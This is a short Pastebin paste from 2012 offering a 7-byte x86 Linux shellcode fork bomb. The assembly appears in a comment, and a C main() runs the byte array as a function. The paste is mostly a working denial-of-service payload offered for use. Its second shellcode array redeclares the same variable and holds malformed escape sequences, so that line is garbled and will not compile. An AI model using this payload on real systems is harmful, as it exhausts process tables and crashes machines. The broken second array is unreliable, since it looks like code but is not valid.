emS-St1ks

ForkBomb Easy st1ks

Jul 12th, 2012
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.40 KB | None | 0 0
  1. /* By St1s 12/07/12 Modify upgrade
  2. *
  3. * 7 byte shellcode for a forkbomb
  4. *
  5. *
  6. *
  7. * section .text
  8. *
  9. * global _start
  10. *
  11. * _start:
  12. * push byte 2
  13. * pop eax
  14. * int 0x80
  15. * jmp short _start
  16. */
  17.  
  18. main()
  19. {
  20. char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9";
  21. char shellcode[] = "\x6a\x02\x58\444\x90\xlb\4f1";
  22. (*(void (*)()) shellcode)();
  23. }
Advertisement
Add Comment
Please, Sign In to add comment